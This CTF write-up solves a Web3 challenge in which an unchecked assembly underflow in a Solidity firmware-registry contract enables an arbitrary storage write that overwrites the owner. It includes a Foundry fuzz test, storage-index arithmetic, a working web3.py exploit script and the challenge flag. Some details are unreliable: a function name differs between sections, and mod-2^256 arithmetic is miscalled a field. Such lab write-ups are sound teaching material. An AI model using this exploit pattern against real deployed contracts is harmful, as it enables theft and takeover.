# TACHIBANA_FIRMWARE_REGISTRY | Field | Value | |-------|-------| | Category | Web3 | | Difficulty | Insane | | Points | 500 | | Author | Eun0us | | CTF | Espilon 2026 | --- ## Description Tachibana Laboratories deployed a smart contract to manage firmware updates for their medical IoT devices connected to the Wired. The contract enforces a strict lifecycle: register, update, rollback. Every operation is immutable. Every state transition is audited. Or so they thought. **Your mission:** Fuzz the contract. Find the edge case. Trigger the emergency override as a non-admin to prove the system is broken. - `nc espilon.net 1337` — Challenge console - `http://espilon.net:8545` — Anvil RPC endpoint The source is provided. Deploy locally. Fuzz with Foundry or Echidna. Replay your exploit on the live instance. *"And you don't seem to understand... a shame, you seemed an honest man."* --- ## TL;DR The `_trimStaleEntries()` function uses raw inline assembly to decrement `firmwareHashes.length`. When the array is empty (length=0), `sub(0, 1)` wraps to `2^256-1` in unchecked assembly even in Solidity ≥0.8. This gives `modifyFirmware()` write access to all `2^256` storage slots. Compute the slot index that maps to storage slot 0 (the `owner` variable). Overwrite it with your address. Call `triggerEmergency()` as the new owner to get the flag. --- ## Tools | Tool | Purpose | |------|---------| | Foundry (`forge fuzz`) or Echidna | Find invariant violation | | Python 3 + `web3.py` | Storage index computation and exploit | | `forge create` / `cast send` | On-chain exploit replay | --- ## Solution ### Step 1 — Understand the vulnerability From the provided source, the relevant code is: ```solidity function auditFirmware() external { assembly { let slot := firmwareHashes.slot let len := sload(slot) sstore(slot, sub(len, 1)) // unchecked sub! 0 - 1 = 2^256 - 1 } } ``` When `firmwareHashes.length == 0`, calling `auditFirmware()` sets the length to `2^256-1`. This makes `modifyFirmware(index, value)` able to write to any storage slot via the dynamic array element storage formula. > 📸 `[screenshot: assembly code showing the unchecked sub(len, 1) line]` ### Step 2 — Fuzz to discover the invariant violation Using Foundry fuzz tests: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {Test} from "forge-std/Test.sol"; import {TachibanaFirmwareRegistry} from "../src/TachibanaFirmwareRegistry.sol"; contract FirmwareRegistryFuzz is Test { TachibanaFirmwareRegistry registry; address deployer = address(0xDEAD); address player = address(0xBEEF); function setUp() public { vm.prank(deployer); registry = new TachibanaFirmwareRegistry(); vm.prank(player); registry.registerOperator(); } // Invariant: only the deployer should ever be owner function invariant_ownerIsDeployer() public view { assertEq(registry.owner(), deployer); } } ``` Running `forge test --fuzz-runs 1000` triggers the invariant failure on the `auditFirmware()` + `modifyFirmware(target_index, player_bytes32)` sequence. > 📸 `[screenshot: forge fuzz output showing invariant_ownerIsDeployer failure]` ### Step 3 — Compute the target storage index Solidity dynamic arrays store element `i` at `keccak256(abi.encode(slot)) + i`. `firmwareHashes` is at storage slot 2. To write to slot 0 (the `owner` variable): ```python from web3 import Web3 # Storage base for firmwareHashes (slot 2) array_base = int.from_bytes( Web3.keccak(b'\x00' * 31 + b'\x02'), "big") # Compute wraparound index so that: array_base + target_index ≡ 0 (mod 2^256) target_index = (2**256 - array_base) % 2**256 print(f"Target index: {target_index}") ``` ### Step 4 — Execute the exploit on-chain ```python from web3 import Web3 w3 = Web3(Web3.HTTPProvider("http://:8545")) priv = "" acct = w3.eth.account.from_key(priv) contract_addr = "" # Load ABI from console 'abi' command # 1. Register as operator registry = w3.eth.contract(address=contract_addr, abi=abi) tx = registry.functions.registerOperator().build_transaction({...}) w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) # 2. Trigger the underflow (array must be empty) tx = registry.functions.auditFirmware().build_transaction({...}) w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) # 3. Overwrite owner (slot 0) with player address player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(acct.address[2:]) tx = registry.functions.modifyFirmware( target_index, player_as_bytes32).build_transaction({...}) w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) # 4. Trigger emergency as new owner tx = registry.functions.triggerEmergency().build_transaction({...}) w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) ``` > 📸 `[screenshot: Python exploit script completing all four transactions]` ### Step 5 — Get the flag ```text nc 1337 check ``` > 📸 `[screenshot: console printing the flag after triggerEmergency succeeds]` ### Key concepts - **EVM assembly unchecked arithmetic**: `sub(0, 1)` wraps to `2^256-1` inside `assembly {}` blocks even in Solidity ≥0.8, bypassing the checked arithmetic safety net - **Dynamic array storage layout**: Elements stored at `keccak256(abi.encode(slot)) + index`; with a `2^256-1` length, modular wraparound enables arbitrary storage writes - **Fuzzing invariants**: Declaring `invariant_ownerIsDeployer` in Foundry would have caught this immediately — the lesson for secure contract development - **Storage slot arithmetic**: Wraparound index computation requires modular arithmetic over the field `GF(2^256)` --- ## Flag `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`